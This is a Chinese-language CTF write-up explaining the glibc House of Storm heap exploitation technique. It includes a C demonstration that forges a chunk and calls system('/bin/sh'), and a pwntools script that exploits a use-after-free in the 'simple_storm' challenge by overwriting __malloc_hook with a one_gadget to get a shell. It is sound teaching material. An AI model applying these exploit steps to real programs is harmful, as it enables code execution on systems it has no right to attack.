0x00:介绍

利用手法的背景:

house of storm是一种结合了unsorted bin attack和Largebin attack的攻击技术,其基本原理和Largebin attack类似。但不同的是,Largebin attack只可以在任意地址写入堆地址,而house of storm 则可以导致任意地址分配chunk,也就是说可以造成任意地址写的后果,危害性大。不过,house of storm 虽然危害大,但其利用条件也是十分苛刻的。

该利用手法适用于glibc 2.28及以下的版本,因为unsorted bin attack在glibc 2.29中已失效。

利用条件:

1. 需要unsorted bin中的bk指针可控;

2. 需要largebin中的bk指针和bk_nextsize指针可控;

3. 需要在largebin和unsorted bin中分别布置一个chunk,同时需要这两个chunk在归为之后处于同一个largebin的index中,且unsorted中的chunk要比largebin中大;

前置了解:

需要了解unsorted bin attack和Largebin attack攻击手法。

下面会先大概介绍一下这两种攻击手法,并说明如何叠加变成house of storm。

0x01:前置的利用手法

Unsorted Bin Attack:

该攻击手法可以达到任意地址写一个libc地址(即unsorted_chunks(av))的效果。unsorted bin attack发生在malloc时,对unsorted bin 中的chunk脱链时刻。图中的文字注明已经很清楚了,只要将unsorted bin的末尾chunk的修改为target - 0x10处,则在chunk脱链后,前后chunk进行fd/bk互连的过程中,会将target处赋值为一个libc地址。

但大家往往只关注到了target处被赋值了,其实unsorted_chunks(av) → bk同时也被赋值为了target - 0x10。

注意,在libc2.29中,这部分加入了双链表检查。这表明从libc2.29开始,unsorted bin attack手法就无法使用了。

Largebin Attack:

该利用手法的本质和unsorted bin attack一样,都是基于双链表互连过程中发生的。不过由于在large bin中,有靠fd/bk相连的双链表和靠fd_nextsize/bk_nextsize相连的双链表,所以可以对任意两处的地址进行赋值,赋值为堆地址(victim,从unsorted bin中脱链出来的chunk)。

2.23 ~ 2.29版本中largebin attack的利用点,在2.30及以后的版本中,这里加入了双链表检测,所以在libc2.30及以后,该处的largebin attack无法使用了。

Buffer叠加:

这里说一下unsorted bin attack和largebin attack如何叠加,变成house of storm,达到任意地址分配chunk的效果。

在unsorted bin中的chunk脱链,然后链接到large bin的过程中,可以同时进行这两种攻击。为之,所以我们需要在large bin中布置一个chunk,并且在unsorted bin中布置一个size稍大于largebin的chunk,使其能够链接在large bin中chunk的后面。

house of storm中,unsorted bin attack主要用到的是unsorted_chunks(av) → bk同时也被赋值为了fake(只是一个记号)。在下次申请chunk,使其进入unsorted bin的分支时,victim = unsorted_chunks(av) → bk(即fake),紧接着会有一个分支检查其size是否满足申请。只要满足了,则会直接分配fake处为chunk返回。现在,我们的关键点就是如何使用largebin attack使得其size发生稳定的改变。

我们已经知道largebin attack是向任意地址赋值堆地址。在64字长的系统中,地址寻址为8字节,但堆地址只占5个字节,而特别的是仅已0x55或0x56开头。那么只要我们通过largebin attack向fake + 0x3处,赋值一个堆地址,则以fake为chunk的size处为0x55或者0x56。这样,就成功的修改了size。

注意小端序的问题:

0x02:Demo示例

  1. // gcc -ggdb -fpie -pie house_of_storm.c -o house_of_storm
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. struct {
  6. char chunk_head[0x10];
  7. char content[0x10];
  8. }fake;
  9.  
  10. int main(void)
  11. {
  12. unsigned long *large_bin,*unsorted_bin;
  13. unsigned long *fake_chunk;
  14. char *ptr;
  15.  
  16. unsorted_bin=malloc(0x418);
  17. malloc(0X18);
  18. large_bin=malloc(0x408);
  19. malloc(0x18);
  20.  
  21. free(large_bin);
  22. free(unsorted_bin);
  23. unsorted_bin=malloc(0x418);
  24. free(unsorted_bin);
  25.  
  26. fake_chunk=((unsigned long)fake.content)-0x10;
  27. unsorted_bin[0]=0;
  28. unsorted_bin[1]=(unsigned long)fake_chunk;
  29.  
  30. large_bin[0]=0;
  31. large_bin[1]=(unsigned long)fake_chunk+8;
  32. large_bin[2]=0;
  33. large_bin[3]=(unsigned long)fake_chunk-0x18-5;
  34.  
  35. ptr=malloc(0x48);
  36. strncpy(ptr, "/bin/sh", 0x48 - 1);
  37. system(fake.content);
  38. }

该代码展示的最终目标是分配chunk到fake_chunk。

代码16~19行,分配了两个large bin范围的chunk,并隔开。稍大的chunk后面会被调(tiao)到unsorted bin中,稍小的chunk会被free到large bin中。

代码21~24行,先将两个chunk free到unsorted bin中(头插法,先进先出)。然后malloc稍大的那个chunk使稍小的chunk进入large bin中,最后再次free掉稍大的chunk,使其进入unsorted bin。这样就满足的第三个条件。

后面就是对bk和bk_nextsize指针进行操控:

  1. //代码26 ~ 33
  2.  
  3. fake_chunk=((unsigned long)fake.content)-0x10;
  4. //unsorted_bin->bk = fake_chunk
  5. //则fake_chunk->fd = unsorted_chunks(av),不过似乎没有发挥使用
  6. //重点是:unsorted_chunks(av)->bk = fake_chunk
  7. unsorted_bin[0]=0;
  8. unsorted_bin[1]=(unsigned long)fake_chunk;
  9.  
  10. large_bin[0]=0;
  11. large_bin[1]=(unsigned long)fake_chunk+8;
  12. large_bin[2]=0;
  13. //(fake_chunk-0x18-5)->fd_nextsize = victim(a heap_addr)
  14. //即fake_chunk-0x18-5+0x20 = fake_chunk+3 = victim
  15. large_bin[3]=(unsigned long)fake_chunk-0x18-5;
  16.  
  17. /*其实,largebin attack部分这样也可以:
  18. * large_bin[0]=0;
  19. * large_bin[1]=(unsigned long)fake_chunk-0x8-5;
  20. * large_bin[2]=0;
  21. * large_bin[3]=(unsigned long)fake_chunk-0x8;
  22. *因为有两处可以修改任意地址
  23. */

malloc(0x48):申请0x50大小的chunk,chunk中size为0x55/0x56的大小也会被归为0x50这一级别。malloc(0x48)这一过程中,把unsorted_bin脱链,并链接到了large bin中。

这里需要size为0x56才能分配chunk成功,0x55是会发生报错的。其原因是因为从_int_malloc返回到_libc_malloc后,还会有个断言对chunk进行检查:

  1. /*
  2. #define arena_for_chunk(ptr) \
  3. (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
  4.  
  5. 过以下检测需要满足的要求,只需满足一条即可
  6. 1. victim 为 0
  7. 2. IS_MMAPPED 为 1
  8. 3. NON_MAIN_ARENA 为 0
  9. */
  10. assert(!victim || chunk_is_mmapped(mem2chunk(victim))
  11. || ar_ptr == arena_for_chunk(mem2chunk(victim)));

0x56:0101 0110,满足第二个。

0x55:0101 0101,不满足,会报错。

因为系统一般会开ASLR,所以0x56、0x55发生的概率差不多,crash的话,多试几次就好了。

0x03:题目实践

bugku的simple_storm:

链接:https://pan.baidu.com/s/131cOS7m9gG34BKqDRWxMig 提取码:lele

静态分析程序,delete函数里面存在UAF漏洞,那就可以随便玩了。

这里使用house of storm手法,应该还有其他方法。

具体思路就不说了,和上面的示例基本一模一样,这里getshell是通过覆盖malloc_hook为one_gadget。需要注意的是选择fake_chunk位置时,size位不能有数据,要为空。

  1. from pwn import *
  2. context(os='linux', arch='amd64', log_level='debug')
  3.  
  4. io = process("./simple_storm")
  5. #io = remote("114.67.175.224", 12327)
  6. libc = ELF("./libc-2.23.so")
  7.  
  8. def add(size):
  9. io.sendlineafter("Your choice?", "1")
  10. io.sendlineafter("Size?", str(size))
  11.  
  12. def delete(idx):
  13. io.sendlineafter("Your choice?", "2")
  14. io.sendlineafter("Index?", str(idx))
  15.  
  16. def edit(idx, content):
  17. io.sendlineafter("Your choice?", "3")
  18. io.sendlineafter("Index?", str(idx))
  19. io.sendlineafter("Content?", content)
  20.  
  21. def show(idx):
  22. io.sendlineafter("Your choice?", "4")
  23. io.sendlineafter("Index?", str(idx))
  24.  
  25. def debug():
  26. gdb.attach(io)
  27. pause()
  28.  
  29. add(0x400) #0
  30. add(0x18) #1
  31. add(0x410) #2
  32. add(0x18) #3
  33. delete(0)
  34. show(0)
  35. main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 88
  36. libc_base = main_arena - 0x3c4b20
  37. print("@@@ main_arena = " + str(hex(main_arena)))
  38. print("@@@ libc_base = " + str(hex(libc_base)))
  39.  
  40. delete(2)
  41. add(0x410) #4
  42. delete(4)
  43.  
  44. ogg = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
  45. malloc_hook = main_arena - 0x10
  46. fakechunk = malloc_hook - 0x50
  47. edit(4, p64(0) + p64(fakechunk))
  48. edit(0, p64(0) + p64(fakechunk + 0x8) + p64(0) + p64(fakechunk-0x18-5))
  49. add(0x48) #5
  50. edit(5, p64(ogg[1] + libc_base)*9)
  51. add(0x20)
  52. io.interactive()

本文参考:

https://www.anquanke.com/post/id/203096

https://www.cnblogs.com/Rookle/p/13140339.html


tolele

2022-09-25

堆Pwn:House Of Storm利用手法的更多相关文章

  1. Windwos堆管理体系以及溢出利用

    <0day安全>学习笔记,主要讨论WIndows2000~WIndowsSP1平台的堆管理策略. 0X01 堆与栈的区别 栈空间是在程序设计时已经规定好怎么使用,使用多少内存空间.典型的栈 ...

  2. pwn with glibc heap(堆利用手册)

    前言 ​ 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. ​ 文中未做说明 均是指 glibc 2.23 ​ 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 ​ 本节只是简 ...

  3. [BUUCTF]PWN——roarctf_2019_easy_pwn(详解)

    roarctf_2019_easy_pwn 附件 步骤: 例行检查,64位程序,保护全开 试运行一下程序,看看大概的情况,经典的堆块的菜单 64位ida载入,改了一下各个选项的函数名,方便看程序(按N ...

  4. CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...

  5. Pwn入坑指南

    栈溢出原理 参考我之前发的一篇 Windows栈溢出原理 还有 brant 师傅的<0day安全笔记> Pwn常用工具 gdb:Linux下程序调试 PEDA:针对gdb的python漏洞 ...

  6. CVE-2015-3864漏洞利用分析(exploit_from_google)

    title: CVE-2015-3864漏洞利用分析(exploit_from_google) author: hac425 tags: CVE-2015-3864 文件格式漏洞 categories ...

  7. Pwn With longjmp

    前言 这个是 seccon-ctf-quals-2016 的一个题,利用方式还是挺特殊的记录一下. 题目链接 http://t.cn/RnfeHLv 正文 首先看看程序的安全措施 haclh@ubun ...

  8. [BUUCTF]PWN——0ctf_2017_babyheap

    0ctf_2017_babyheap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,经典的堆题的菜单 main函数 add() edit() delete() show ...

  9. 2020 NUPCTF pwn题目

    去年的一场比赛,今年来把去年不会做的题目来看一下,只在buu找到三道题,剩下两道好像是内核题,算了,估计找到也不会做. npuctf_2020_level2 bss段上的格式化字符串漏洞的利用. 程序 ...

随机推荐

  1. 【一本通提高树链剖分】「ZJOI2008」树的统计

    [ZJOI2008]树的统计 题目描述 一棵树上有 n n n 个节点,编号分别为 1 1 1 到 n n n,每个节点都有一个权值 w w w. 我们将以下面的形式来要求你对这棵树完成一些操作: I ...

  2. 多人共用一个Linux用户, 实现Bash配置文件独立

    本文中提到的 账户, 用户 均表示同一概念. 例如 ssh wbourne@192.168.xxx.101, 账户, 用户 指的均是 wbourne. 背景 在工作中, 我们经常会连接Linux服务器 ...

  3. 在less里面使用js函数

    .colorPaletteMixin() { @functions: ~`(function() { this.colorPalette = function() { return '123px'; ...

  4. Java开发学习(十八)----AOP通知获取数据(参数、返回值、异常)

    前面的博客我们写AOP仅仅是在原始方法前后追加一些操作,接下来我们要说说AOP中数据相关的内容,我们将从获取参数.获取返回值和获取异常三个方面来研究切入点的相关信息. 前面我们介绍通知类型的时候总共讲 ...

  5. PHP goto

    if (true){ echo "run if\n"; goto fly; } else{ fly: echo "run else"; }

  6. 神工鬼斧惟肖惟妙,M1 mac系统深度学习框架Pytorch的二次元动漫动画风格迁移滤镜AnimeGANv2+Ffmpeg(图片+视频)快速实践

    原文转载自「刘悦的技术博客」https://v3u.cn/a_id_201 前段时间,业界鼎鼎有名的动漫风格转化滤镜库AnimeGAN发布了最新的v2版本,一时间街谈巷议,风头无两.提起二次元,目前国 ...

  7. 技术分享 | MySQL Group Replication集群对IP地址的限制导致的一些问题与解决办法

    GreatSQL社区原创内容未经授权不得随意使用,转载请联系小编并注明来源. 1. 遇到问题 测试人员小玲准备在docker环境中部署MGR集群进行一些测试,她有三个容器,容器IP分别是: 172.3 ...

  8. benchmark性能测试

    目录 benchmark介绍 benchmark运行 benchmark运行参数 benchmark性能测试案例 benchmark介绍 基准测试主要是通过测试CPU和内存的效率问题,来评估被测试代码 ...

  9. Jenkins使用pipeline部署服务到远程服务器

    写这篇文章是对之前搭建Jenkins做的修改和完善,让jenkins更好的为我们服务 Docker搭建Jenkins服务 使用过程中遇到的问题: 为方便部署,打算将jenkins用到的jdk11.ma ...

  10. Luogu3850 [TJOI2007]书架 (平衡树)

    将要插入位置前和前前splay,再连在右子树上. #include <iostream> #include <cstdio> #include <cstring> ...